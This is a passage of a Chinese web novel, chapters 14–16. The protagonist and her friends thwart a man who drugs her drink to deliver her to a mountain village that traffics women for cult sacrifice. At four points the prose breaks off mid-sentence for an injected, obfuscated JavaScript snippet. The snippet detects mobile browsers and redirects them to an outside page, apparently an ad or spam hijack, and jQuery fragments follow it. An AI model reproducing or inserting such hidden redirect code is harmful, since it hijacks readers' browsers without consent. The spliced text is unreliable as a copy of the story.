车内的音乐换了不知道几首,却没有一首能让自己觉得悦耳舒适,长时间盯着手机又会导致头晕脑胀,郁峤已经无聊得快要睡过去了,但陶遂的开车手法又足够胆战心惊,虽然在郁峤的多次提醒下已经好很多了。 耳机的另一边岑骅正跟路清聊得很投缘。 岑骅在跟路清讲他遇见的各种奇葩还有一些灵异故事,再科普一些封建迷信,顺便宣扬一下要相信科学。 路清在分享她上学上班时遇见的事情,有趣事也有吐槽,再聊聊一些单位里亲戚间的小八卦。 方容时有时也会插上几句,一般只是听着,认真开车。 啊……现在真想坐在方容时的那辆车上,正好还有一个座位可以坐下……郁峤听着耳机里的动静一时间不知道是觉得有趣还是觉得凄惨,耳机里路清个岑骅的笑声有点像鲁迅先生写的乐景衬哀情了。 因为是节假日,高速公路不出意料地堵车了,但好在不是特别严重,可能是因为没什么人走这条道的缘故,很快就有通畅了。 不知道在高速公路上行驶了多久,方容时那边都已经安静了下来,只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15128646|164151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有陶遂的车载音乐还在放着,但声音也没有之前那么大声了。 半边身体都已经坐麻了,郁峤在狭窄的座位上换了好几个姿势了,却还是觉得不舒服。 一直到天色变暗,车辆终于驶进了服务站。 双脚终于接触到了地面,郁峤觉得自己腿都软了,再加上迎面扑来的潮热空气一冲,差点跪在地上。 不远处,一辆熟悉的车辆也在停车位停稳了,路清也是一脸精神不济地下了车,然后是一下车就哇一声吐-出来的岑骅,最后是一下车就看向这边的方容时。 远远相互看了一眼,然后轻微点头。 在看见这三个人后刚才的难受似乎好转了不少,脚下终于有了踏实的感觉。 “快走吧。”再一转头,陶遂已经走了几米远了,转身招呼郁峤快些跟上,“在看什么呢?” “没什么。”郁峤将背包背好,跨步追了上去。 在旅馆办理入住手续,陶遂直接拿走了郁峤的身份证说要办理入住,问也没问郁峤的意见就拿自己的身份证擅自定好了双人间,顺手将郁峤的身份证塞进了口袋,拿到房卡就要带着郁峤上电梯。 “我想在外面透透气,等一会儿再进来。”郁峤摆摆手,又指了指外面。 “行吧,早点啊,我困了,你到时候别吵醒我。”陶遂思考几秒后点头答应了。 这头陶遂才上去没多久,路清他们后脚就进来了。 “郁峤!”路清一见郁峤眼睛都亮了,“你怎么样?” “还好,就是坐车实在是太难受了,一想到明天还有五个小时的车程我就觉得自己屁-股都裂开了。”看见朋友后郁峤心情瞬间转晴,就连力气也回来了不少。 “你们定哪间房?”方容时从兜里摸出身份证准备办理入住,“我们定你隔壁,这样也能踏实些。” “405号。”郁峤回答,愤愤道,“他定的是一间双人房,我不想跟他一起住,他还收走了我的身份证。” “那这样,”方容时沉吟片刻,说,“你在外面待晚一些,然后借口不想打扰到他休息于是就自己重新开了一间房,怎么样?” “我……”郁峤刚想说些什么,一通电话就打了过来,郁峤只好先接电话打开免提,“是陶遂。” “你什么时候上来啊?”陶遂慵懒的声音从手机里传来,“我点了两杯饮料,快上来我们一起看看电影。” “看什么电影啊?”郁峤问。 “随便什么电影都行,要不看鬼片吧,嗯,就看这个。”陶遂怎么也想不到现在正有四个人在听他讲话,“快点上来啊,别让我等太久。” 电话挂断,众人面面相觑皆是一脸无语。 “饮料。”岑骅总算缓过来了点,“一听就不对劲。” “要不你给算算?”路清用胳膊顶了顶他。 “我都不用算,看他面相就不像好人。” “这个怎么看!”路清饶有兴趣,“咳咳,现在不是说这个的时候,现在要怎么办?” “我们就在隔壁。”方容时从前台那里接过房卡给众人看,406。 “我进去后不锁门,我们保持通话,我要是发现不对劲就说‘今天晚上有点冷’。”郁峤很快就想到了办法,“要是没什么事情我就说‘空调好像有点热’,怎么样?” “收到。”路清比了个OK手势。 “别担心。”方容时抚上郁峤肩膀,安抚地用大拇指捏了捏。 郁峤狡黠一笑。 14. 第14章山路 郁峤跟朋友们在楼下磨蹭了一会儿才上去,在此期间陶遂接连发了好几条消息催促,好像郁峤晚上去一点就要跑掉了,最后甚至说要下楼来找她了。 “这就上来了,刚刚迷路了。”郁峤上楼时给陶遂发消息,“现在就上来了,你把门打开呗。” 刚走出电梯门,郁峤便看见了站在门口东张西望的陶遂。 “你怎么那么慢啊!”一见郁峤,语气与面部表情的不耐烦也不再掩饰了,穿着新换上的衣服黑着脸看着郁峤。 “第一次到服务站,好奇嘛,就想出去逛逛。”郁峤装作被陶遂吓到了,委屈巴巴地,“没想到一不小心迷路了。” “没见识。”陶遂嗤笑一声,让郁峤进屋了。 显示屏里的电影已经播了不少了,放在桌子上的饮品其中有一瓶也已经喝了大半,很明显陶遂根本没打算等自己一起。 “咯,给你点的饮料在那里,快喝吧。”陶遂随手一指,然后半躺在床上继续看他的电影。 郁峤看了看坐在床上的陶遂,又看看桌子上的饮料,没有去喝,只是坐在了另一张床上,假装也在看电影。 “这个电影叫什么啊?还挺有趣的。”郁峤没话找话。 “你没看过没?”陶遂目不转睛,语气里满是不屑,“哦,也是,你们女生应该只喜欢看动画片跟爱情片。” “哼哼。”郁峤笑笑不说话,几秒后又问,“这部电影是说什么的?” “嗯……”陶遂像是被问到了心坎里,立马就起了精神,开始滔滔不绝地向郁峤讲解剧情,并附带一些自己独到的见解,提醒郁峤哪些镜头别有深意哪些又是埋下的伏笔,再点评里面女性角色的外在条件跟男性角色的人格魅力。 短短几分钟,郁峤仿佛已经将整部电影都“看透”了。 讲完陶遂舔了舔嘴唇,拿起桌子上的饮料喝了一口,见郁峤的还一点未变,于是催促道,“你怎么还不喝啊?再不喝就不冰了,快点喝吧,不要浪费。” “好吧。”郁峤举起杯子,浅浅抿了一口,只沾了个嘴唇,然后觑着陶遂的眼神,猛喝了一口,然后瞪了陶遂一眼表示自己的不满,陶遂没计较这个,扭头继续看电影。 于是郁峤就这样含-着那一口饮料在那里坐着,然后起身从包里掏出换洗的衣物走进浴室。 按下冲水键,借着水声将嘴里的饮料吐了出来,然后掏出手机给其他人发消息。 “合理怀疑那杯饮料有问题。”郁峤一边漱口一边发消息,虽然在通话但还是担心浴室隔音不好。 “你喝了?”路清问。 “没有,我给吐了。就是不知道如果他真的下药了,那个药会是什么效果。不过我猜应该不是让人昏睡不醒的药,不然明天离开时不方便,是我的话我就在车上动手,到时候直接把人送村子里去,减少路上与其他人的接触会更安全。所以今天晚上应该不会出什么事情。” “你……”岑骅顿了几秒,随后道,“你以后可得向善啊。” “我善着呢!” “话说他会不会趁你睡着后做些什么啊?”陶媛有些担心,“据我所知这家伙可不是什么老实人。” “要不我们开视频吧?”路清提议,“你就说出门在外想要跟朋友们聊聊天,我陪着你睡。要是他不让你打视频我们就继续连麦。” “好。” 郁峤快速的清洗好自己,一边擦着头发一边上-床,不等头发干透就躺下盖上被子准备睡觉了。 “你困了吗?”陶遂问。 “是啊,今天太累了。”郁峤的嗓音都沙哑了一些,侧躺在床上给路清打去了视频。 “你在给谁打电话?”陶遂警觉,直接下床俯身去看郁峤的手机。 “我朋友。”郁峤大大方方地展示给他看,“路清,你们之前见过的。我在外面习惯让人跟我一起视频,不然我睡不着。” “……”陶遂注视郁峤片刻,拒绝了,“不行。” “好吧。”郁峤听话地将通话中断,掏出耳机,“我听歌总可以了吧?我真的很困了。” 在看着郁峤真的打开音乐软件播放歌曲将手机放在枕头下后,陶遂才起身离开。 然后在陶遂去上厕所的时候,郁峤立刻接通了路清的通话,打开免提并关闭了蓝牙,路清将麦关上只单方面接收郁峤这边的声音。 又过了很久,久到郁峤都快真的睡过去了,这时她感觉到陶遂蹑手蹑脚的从床上下来,走到她床边轻轻喊了声她的名字。 “郁峤,郁峤?你睡着了吗?” 郁峤自然没睡,精神紧绷着的她怎么可能睡得着。 见郁峤没动静,陶遂又轻轻摇晃了几下,打开手机手电筒去照射郁峤的眼睛。 一系列的动作下来郁峤巍然不动,这时陶遂好像是松了一口气,反手打开床头灯打开手机给什么人发消息。 “是的是的,她没醒,虽然喝了不多,但是应该还是管用的。”或许是嫌打字太慢,又或许是他以为郁峤听不见了,于是他选择了语音输入,“这个药还真是好东西,让人一喝就昏睡,醒过来还能乖乖听话,” “放心吧,这个女的蠢得很呢。”陶遂似乎有些沾沾自喜,“我随便装几下她就上钩了。诶,你别说,这女的还挺好看的。” 郁峤感觉有人戳了戳自己的脸。 “哈哈哈,瞎说啥呢!这可是那位选中的,不过真让我娶她也行,到时候村里还会给我几万补偿费,等她疯了死了我还能另娶。” “那当然了,带了身份证,现在不是带着身份证就能结婚了吗?到时候就带她去领个证,生米煮成熟饭再跟她家里人说,她还能跑得了?到时候等她疯咯就往精神病院里一丢~哈哈哈哈哈哈……” “……啦……”就在陶遂跟对面聊得正嗨时,郁峤嘟嘟囔囔地说了句什么。 “……梦话?”陶遂一惊,突然就坐直了扭头去查看郁峤的情况,但郁峤似乎还在睡梦里。 “咚咚咚。”就在陶遂打算继续畅想未来时,几声敲门声传来,打断了他。 “谁……”不等他起身询问,门就突然被打开了,一个健壮的身体扑上来将他牢牢地固定在了床上,接着就是房门落锁的声音,紧接着酒店里的灯被打开了。 突然的光亮让人忍不住眯起了眼睛,等适应光亮后,赫然发现原本只有两个人的房间突然冒出来了三个人。 “你们是谁……是你们!?”陶遂看着凭空出现的三人,目瞪口呆不可置信。 “憋死我了。”郁峤猛然坐起,长舒一口气,“装睡真的好累啊。” “你,你们!”陶遂面对着惊天反转觉得脑子似乎有些不够用了,“你们怎么在这里?” “当然是来找你的呀。”岑骅利索地用刚刚就准备好的皮带将陶遂绑了起来,起身拍手,一气呵成,还不忘自夸,“小爷之前的功夫没白练啊。” “好啦,我们已经知道你、你们在打什么主意了,不做亏心事,不怕鬼敲门,既然你做了亏心事,那么我们这群‘鬼’就来找你啦。”路清想这么演很久了,念完台词后还有些小兴奋。 “我准备睡了,累死我了。”方容时捡起刚刚被甩落在地上的手机,代替陶遂给对方发了个消息,然后问陶遂,“手机密码。” “说!”岑骅给他弹了个脑瓜崩。 “233233。”陶遂不情不愿地回答,随即又很不服气,“你们凭什么绑着我!郁峤,这是怎么回事?我们是不是有什么误会?!” “没什么误会。”郁峤面无表情地将一旁喝了一半的矿泉水倒掉,然后拿起还放在桌子上的那杯饮料,搅拌了一下然后全部倒进了矿泉水瓶里,“我记得前台就可以寄快递,明天我们就给你哥寄去检查一下。” “没问题。”路清接过瓶子拿起来观察了一圈。 陶遂肯定特别后悔自己没有早点将这杯饮料冲进下水道,这下在劫难逃了。 “这个东西是谁给你的?”路清质问,“别支支吾吾的,刚刚不是还很会演讲吗!别想抵赖,你刚刚说的话我可是全程录音了!”说着举起自己的手机晃了晃。 “我说我说……”陶遂瞬间就怂了,“你们别报警。” “磨叽啥!”岑骅又是一记暴栗。 次日,原本是两个人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15139239|164151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 入住的房间却出来了五个人,然后一行人其乐融融地退好房一起去停车场了。 陶遂继续开车,但他的乘客除了郁峤外还多了一位方容时,而方容时的车则交给了路清,虽然岑骅也会开车但没人愿意信任他的安全度,方容时也不可能把车交给岑骅。 “马路杀手。”方容时评价。 从陶遂那里得到了不少有用的消息。 首先确定了村子里确实存在妇女拐卖,甚至还涉嫌贩毒,不仅如此还有大搞邪教信仰,一个山旮旯里的村子居然这么五毒俱全。 这次陶遂的任务就是将郁峤带回村里,然后逼迫郁峤跟他结婚,让郁峤与外面的亲人朋友断掉联系,一个人在村子里无依无靠慢慢疯掉然后死去,成为献祭所谓神明的祭品。 概括起来多么简短的计划,但却不知道有多少女性被这简短的一句话困住了一生,让人毛骨悚然。 郁峤他们的计划很简单,郁峤继续跟陶遂上山,但跟过去的只有方容时一个人,毕竟山里许久都不会来几个外人,人多太惹人注意了,容易暴露。 路清跟岑骅则在山下等郁峤两人的消息,每隔两个小时互相联系一次,如果超过三次联系不上就直接报警。 “唉,本来还以为可以用上呢。”岑骅有些惋惜地看着自己带的一袋子东西。 方容时毫不客气的从里面拿出几个塞给了郁峤,“会有用处的。” “好的。”郁峤将东西塞进了自己包里,然后朝岑骅,“谢谢啦。” 又是几个小时的车程,郁峤终于在窗外看见了一些熟悉的景色,她到家了。 “我小时候我妈妈就经常带我逛这条街,以前还没修这么好,河道边是没有围栏的,路边都是摆地摊的小商贩,没想到一晃这么久就过去了。”郁峤看着窗外又陌生又熟悉的街道,有些感慨。 “人类发展总是很快。”方容时点点头。 汽车驶入城市,又离开了城市,往乡下开去,在一处分岔路口拐了进去,就此有很长一段路不见人烟,只有树木与山体暴露的石头,另一边偶尔会出现悬崖。 郁峤一直不理解为什么现在还会有人住在离外界这么远的山里,又想到如果被拐卖到这个里面,即使知道有一条路可以通往外界也未必能走出去,不说路途遥远,人贩子想找到你简直易如反掌,走小路也不太能行,树林茂密,人一旦进去根本分不清方向,普通人根本没有办法自救。 真是可怕。在郁峤的眼里,这些原本会让她感叹自然美景的景色现在只让她觉得害怕,茂密的树冠与树林好像一座天然的牢笼,将特定的人牢牢锁在这里,不得超生。 路清他们在山脚下的时候就已经下车了,一起上山的只有郁峤方容时跟陶遂三人。 越往上雾气越大,明明已经是中午,但雾气却像着了山火一样浓得散不去,陶遂不得已放缓了速度,没想到速度刚慢下来没走几步,车胎突然发出一声刺耳的声音,随后车子就就熄火了。 “我靠。”陶遂暴躁地锤了一下方向盘,解开安全带下车查看情况。 方容时也跟着下车检查,郁峤则坐在车里,她隐约在雾里看见了一些影子,刚开始她还以为是树干,但很快就发现不是,因为那些影子会移动。 “外面好像有人。”郁峤提醒道。 “嗯。”方容时点点头。 “你能别瞎咋呼吗!?”陶遂本来就又急又怕,忍不住拔高了音量。 绕车一圈后发现上一块山上滚落下来的石块以一种蹊跷的方式卡在了车轮里,费了一番功夫把这东西撬掉后陶遂就回到了车内准备试试能不能启动,但还是毫无反应。 “真是奇了怪了,之前明明没有出现过这种情况。”陶遂烦躁地按了按喇叭,寂静的山路上汽车的鸣笛声格外刺耳。 方容时不着急上车,而是在外面又缓缓绕了一圈。 郁峤看着外面的东西,却没有觉得害怕,她依稀可以看出这些影子很像女性的身姿。 她们是在阻止我们进山吗?郁峤想。 这时方容时终于上车了,“开车。”他吩咐道。 汽车启动成功。 15. 第15章村子 村子坐落在半山腰,外围被树林围绕,除了一条被压实的泥巴路外就再无可以供汽车通行的路了。 而且不知道是不是因为越来越接近那东西还是坐车太久的缘故,郁峤自上山后就一直有些不太舒服,心慌得厉害。 可以让汽车通行的大路在村口进去一点就结束了,接下来的都是只能骑电动车或者步行的小路。 三人只好下车拿行李,走路进去。 “陶遂!郁峤!”郁峤刚下车,就有一个有些熟悉的声音从水井边传来,扭头看去,只见一个有些眼熟但叫不出称呼的妇女在朝他们招手。 女人正在洗衣服,见村里来了车子就一直注意着,看清下车的人后便立马朝他们打了声招呼,站起身来,湿漉-漉的手随手在衣摆上擦了擦,向他们走去。 根据陶遂对那药的描述,是人喝下后会神志混沌的“听话水”,于是郁峤得在其他人面前装成那副样子。 在看见郁峤后姑姑喜笑颜开,但在看见方容时这个陌生面孔后脸色稍微僵了一下,询问,“这位是?” “是……”陶遂在一旁紧张地搓了搓手,目光在方容时跟郁峤两人间游走了一个来回,“是我朋友。” “阿姨您好,我叫方向。”方容时张口就来,“是陶遂的同事,这次趁着放假就想着跟陶遂来这里玩玩,希望不会打扰到你们。请问您是陶遂的……?” “哦,我是他姨妈。”姑姑一听是陶遂的朋友肉眼可见的放松了不少,“既然是陶遂的朋友,你在这就好好玩,当自己家就行。” “好的!之前就听陶遂说他老家特别漂亮,今天一见果然名不虚传。”方容时露出他一看就叫人心生亲近的笑容,很快就让姑姑放松了警惕。 长得好看又有礼貌的人任谁都不会讨厌的。 虽然郁峤长得不丑,落落大方漂漂亮亮,却经常在外人面前板着张脸,也不太想搭理其他人,照顾别人的情绪对郁峤来说是一件极其困难的事情,但对方容时来说却是信手拈来。 真让人羡慕。郁峤看着方容时几句话就成功攻克姑姑,姑姑已经在请方容时去自己家吃晚饭了。 在村口聊了几句后姑姑才终于放人离开。 “郁峤,你今天晚上就住我家里,住陶媛她房间就好,反正她不在家,我已经给你们收拾出来了,陶遂他知道地方的。钥匙就在客厅窗户后面啊。”姑姑嘱咐道,然后转向方容时,“小方今天晚上也来我家里吃饭,我今天给你们杀鸡吃。” “好啊,我太期待了。”方容时笑着,转向郁峤,“诶,你叫什么……哦,郁峤,我帮你拿行李箱吧。” 真能演啊,郁峤在心里默默比划了个大拇指,但表面上还是一脸神志不太清楚的状态。 没有经过过多的现代化,村子里大多数人住的还是之前的老房子,山青树秀,村子里散养了不少鸡鸭鹅,成群结队地在村子里乱逛,有人在村口的水井前洗衣服。村口守着不少大黄狗,进到村子里后还能看见在树上屋顶窜来窜去的猫咪。 如果是旅游的话这里确实是个不错的选择,只可惜这次来的目的不是旅游,而这里也不适合旅游。郁峤看着外面,却不是被景色吸引,而是在认真观察,记住路线。 这条石板路是一条上坡路,一个接着一个的台阶看着就让人心生畏惧。 或许是因为距离那个东西越来越近了,郁峤觉得心里的不安越来越强烈,身体也感觉到了些许不适。 “到了吗?到了吗?”陶媛在群里冒泡了,“我已经出车站啦!正在往家赶。” “已经见到你妈妈了。”郁峤回复,“今天晚上要住你房间。” “没关系啊,住呗。”陶媛大方得很,“你们多多注意情况,我们几个小时后见。” 郁峤将手机塞回口袋,耳边传来方容时的一句话,还没听清楚,刚一抬头,就撞上了一个地势低的房屋突出的檐角,不等郁峤说完语气词,紧接着一只不知道从哪里窜出来的猫,差点扑到郁峤脸上,还好郁峤反应快低下头躲了过去,却没想到还有一劫,从旁边巷子的视觉死角突然冲出来一位蓬头垢面的人,狠狠地将郁峤撞翻在地。 “起来!”郁峤被撞得七荤八素的,接二连三的倒霉事让她一股怒气直冲脑门,用力在那人身上推了一把,没想到自己没费多大力就将那人轻松推开了。 这时郁峤才看清楚,那是一个女人,头发乱糟糟的,身上的衣服也很混搭,虽然山上比山下要凉爽不少,但这人上半身是一件厚实的短了一节的红白色棒球服,下半身是紧身破洞的牛仔裤,一只脚踩着粉红色的拖鞋,另一只却穿着帆布鞋。 从头到脚的装备无一例外都是脏兮兮的,几乎是要包浆了,不清楚多久没有洗过澡了,浑身散发着一股发酵过后令人难以接受的味道,郁峤差点直接吐了出来,站起身后立马跑到一旁干呕起来。 “快跑!快跑!哈哈哈哈哈哈哈……”那女人被推开后直接就坐在地上,大笑两声,目光呆滞,嘴里念念叨叨,“跑不掉了……你跑……不掉,呜呜呜,我好难受,我想回家,呜呜呜呜呜呜……不!跑得掉,快跑!跑!” 突然,女人眼神一凝,恶狠狠地看向郁峤,作势爬起来就要向她冲去,郁峤吓得赶紧后退,下一秒方容时拉住了女人。 女人诧异地看向方容时。 “你先回去吧,很快你就能回家了。”方容时安抚道,也就一句听着苍白无力又没头没尾的话,却意外劝动了女人。 女人眼神逐渐变得清澈了一些,身上蓄起的劲渐渐卸了下来,歪着头侧目看着方容时,然后嘻嘻一笑,一摇一摆地离开了,一边走还一边念叨着什么。 “还好吗?”方容时上前一步给郁峤递了颗水果糖。 酸甜浓郁的味道在唇齿间散开,压制住了刚才的恶心感,郁峤忍不住猛吸了一口空气。 “她是……祭品吗?”郁峤看着女人离开的方向,心里已经有了答案, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15155852|164151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说不清是怜悯还是害怕,或者愤怒,心里就像有一块巨大的石头压着,让人喘不上气。 “嗯。”方容时轻轻嗯了一声,“魂魄丢失神志不清。”命不久矣。 “我也会……也会变成那样吗?”怎么想都还是会有些害怕。 “我们这次来不就是为了解决这件事情吗?”方容时拍了拍身上的挎包,里面装着一些用得上的法器。 郁峤点点头,随后恶狠狠地用眼神剐了站在一旁不知所措的陶遂一眼。 “话说,这个什么神到底许了什么东西给你们?能让你们做这种损阴德的事情供奉它?”郁峤又是愤怒又是好奇,语气都忍不住阴阳了起来,“我看这里的发展情况也就那样啊。” “哈哈。”陶遂尬笑两声,眼神不自觉地往其他地方飘,“其实我也不清楚。我们这一辈年轻人都不怎么清楚,但是只要照做村里老人就会给钱,给得还不少。” “真的吗?”郁峤不信任地看着他,“你在这里生活了这么久,甚至都帮忙骗人回来了,居然一点都不清楚?” “我知道的都告诉你们了。”陶遂一脸欲哭无泪,“我真的不知道了,我就知道村里有个供奉了几百年的神明,每隔一段时间就要给它献祭个人,至于它具体是干什么的我真的不知道。而且我小学中学都是在外面上的,也就这几年才回来的勤快一点。” “为什么这几年回来得勤快了?”方容时问。 陶遂哑口。 缺德,白瞎了这九年的义务教育。郁峤忍不住翻了个白眼,但一时间不知道该从何骂起,也不知道要骂什么内容。 新建的自建房,外面墙面被粉刷了一遍,与其他青砖绿瓦的老房子形成强烈的对比。郁峤一路走上来也看见了不少新建的自建房,但这家却看出了浓浓的不“认真”感,好像没人在乎这座建筑,只是为了某种目的才随便搭了一下。 郁峤透过窗户往里看也没什么生活过的痕迹。南方标配的木质沙发跟茶几,一台老式电视机,墙上贴着郁峤小时候常见的牡丹花跟双胞胎壁纸,靠墙的角落里有半个插着香的苹果,地面上还有些没有清扫干净的纸钱灰。 不想进去,这也绝对不是陶媛她家。郁峤强烈抗拒着这间屋子,光是站在门口就觉得头晕恶心,恨不得立马飞奔下山离开。 “你家长这样?”郁峤拍了张照发到群里。 “不是啊。”陶媛立马就回复了,“我家还住在老房子里呢,这家是前几年建的,也不知道是谁家,我在家时也不怎么出门,很多人也都不认识。” “了解。”郁峤收起手机,看着陶遂轻车熟路地从客厅窗户后摸到钥匙打开了大门。 “开了。”陶遂像是做坏事被两个教导主任抓包的小学生,拘谨得很。 郁峤瞥了他一眼,没有动作,“这是谁家?” “……”陶遂肉眼可见地慌乱了一下,咳嗽两声缓了缓,“这个其实是我们村专门接待客人用的。” 16. 第16章屋子 “接待客人?接待什么客人?”郁峤眯着眼睛狐疑地看着他,眼神里是毫不掩饰地质疑与厌恶。 “就是……像你这样的……”陶遂支支吾吾地将手快速地往郁峤方向一指,然后将双手放在前面,像是被手铐铐住了。 “别想耍什么花样,别忘你身上还有什么东西。”方容时此时适当地开口吓唬道,“也别想着找人通风报信。” 在将陶遂抓住的那天晚上,岑骅发挥了他的专业作用,一通的装神弄鬼手舞足蹈念念有词,说是在陶遂身上下了一个可以时时监控他的法术,若是陶遂再做出有违天理伤害他人的坏事,就会让他倒霉生病破财孤寡阳-痿。 好强的攻击力,众人皆是汗颜。 在被提醒了一次后陶遂如丧考批,只好巴巴地将事情再抖落出一点。 “这栋房子其实是专门给被带回来的人住的,平常没人的话也会让一些游客住在这里。”陶遂含含糊糊地说着,一边说一边觑着两人的眼色,恳求道,“我的建议是你这几天就住在这里,这样不容易惹人怀疑,假装不知道就好了。这位方额……就住我家,你们两个在其他人面前别表现得太熟。” “这些我们当然知道。”郁峤抿着嘴,有些无语。 郁峤与方容时交换了个眼神,点了点头。 三人提着行李上了楼。因为是夏天,所以换洗的衣物就带了两套,带来的行李箱里大多数空间塞的都是可能用得上的东西,除了一些自卫物品外还有野外求生跟医药箱。 二楼的房间已经被打扫过了,床铺得整整齐齐,很有生活气息的卡通图案的被单,床头旁边是带镜子的梳妆台,除此之外再没有其他东西了,紧拉着的窗帘让房间看着昏暗不安,怎么看也不像是长期住着人的地方。 山上再怎么凉快到底也还是一走进这间屋子,郁峤就像走进了一间冷气开得特别足的空调房,全身的鸡皮疙瘩都被唤醒了,一个激灵的感觉从脚底板直窜后脑,像是有一个什么东西在注视着郁峤,像看着猎物走进了自己的圈套。 手腕上的红痕也在隐隐作痛,郁峤捞起袖子一看,前天晚上还在手腕处的红线痕此时已经快长到手臂处了。 “你们有没有觉得,这间屋子好冷啊?”郁峤忍不住问,捞起袖子给方容时看手上的红痕,小声问,“这是怎么回事啊?” “啊,没有。”陶遂没往这边看,觉得这天气一点也不凉快,他都已经汗流浃背凉快,只是不知道是不是因为热的。 方容时上前将窗帘一把拉开,又将窗户打开,外面的阳光照射进来,风也吹了进来,却似乎没办法驱散掉郁峤感到的那阵阴冷。 “你的手给我一下。”方容时向郁峤伸出手,郁峤不明所以但还是将手放了上去,方容时轻轻握住她的手,随后一股暖流便顺着手腕蔓延上全身的每个角落,就连红痕处也没感到疼痛了。 郁峤看着方容时的脸,心里不免生出疑惑,从被人敲门强闯入室开始,方容时似乎一直都可以应对各种情况,对什么东西都见怪不怪,现在貌似还展现了一些神秘的能力? 方容时到底是做什么的?是道士吗?毕竟小时候在道观里生活过。 真是信任大危机,郁峤心想,虽然她确实很信任方容时,但越来越多的奇怪之处让她不免开始对对方产生怀疑。 等一下找个机会问一问吧。郁峤将手从方容时手中抽出,搓搓手。 “好些了吗?” “嗯,好一些了。”郁峤点点头。 “你不用担心,我不会害你。”方容时的声音很低,但每一个字都清晰地落在了郁峤的耳朵里。 郁峤抬眼望了方容时一眼,然后笑了,点点头,没有说话。 三人将整座房子都转了一圈,摸清楚了周围地势与门窗锁法后才下楼,这时姑姑正好也走了过来,身后还跟着好几位似乎是来看热闹的村民。 “都整理好啦?”姑姑一脸热情洋溢,招呼其他人上前,“这位就是我说的那位郁峤你,也是陶遂的女朋友!诶呦,你看看这两人多般配啊,说不定再过几天我们就能吃上两个人的喜糖了!另外这位是陶遂他同学。” 郁峤眉毛一挑,没有出声,只是站在两人身后。 “叔叔阿姨们好。”方容时礼貌地朝村民们打招呼。 “你们这是要出去吗?” “是,郁峤东西放好了,现在打算去我家把我们两个的行李放过去。”陶遂点点头。 “我们等一下还打算出去逛逛。”方容时接过话题,“村子里有什么好玩的地方吗?” “好玩的地方,那当然有啊。”一个村民抬头往山下一指,“你们可以去山上看看,要不我让我女儿带你去摘野菜怎么样?诶,小伙子你有对象了没有?” “有对象了。”方容时脸不红心不跳,干脆利落地回答了。 “哦,也是,听说城里人玩得也很花。”阿姨脸色瞬间就变了,小声嘀咕了几句。 “你觉得哪里好玩一点啊?”方容时看向陶遂。 “等一下再说吧。”陶遂叹了口气。 郁峤默默地在后面扮演一个“哑巴”,默默看着周遭。 “我看郁峤的脸色不太对呀,怎么一直不说话,是不是累到了啊?”姑姑呀了一声,一把拉起了郁峤的胳膊,作势要将她拉到屋里去,“要不就你们两个人去吧。” “啊……”陶遂一时间没反应过来,也想去拉郁峤的手将其拉回来,但又觉得不太妥,于是又很快收回了手。 “阿姨,没事的,我们两个回来的时候她就这样,可能只是不太爱说话吧。”方容时及时开口,“人家一个小姑娘,就只认识陶遂,不过我感觉她跟陶遂在一起会自在些。” “哦~”姑姑意味深长地点点头,赞赏地看了陶遂一眼,转头对其他人捂嘴笑着,“诶呦,你看看,感情就是好哦。那你今天晚上可就别睡你那了,过来陪陪你女朋友。” 陶遂不敢说话,只是一昧的点头。 那你们晚上五点半之前记得回来吃饭哦。”说着放开了郁峤。 “一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15159631|164151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定一定。”陶遂忙不迭推着郁峤往前走,逃似的走了。 于是三人又开始往下走,郁峤还是在努力地记着地形。 “你知道那个什么神明的祭坛在哪里吗?”方容时问。 “一般我们村需要供奉的‘大人物’都会放在祠堂里,到时候一起祭拜,至于什么祭坛我也不太清楚,这种东西应该只有村里老人比较清楚吧?”陶遂跟陶媛比起来也好不到哪里去,都是有条件后被送出去读书的孩子,只不过两个人的行为准则却天差地别。 “刚刚那个女的呢?”郁峤忍不住问,“你知道她是从哪里来的吗?她最后会怎么样?会被送去医院吗?” 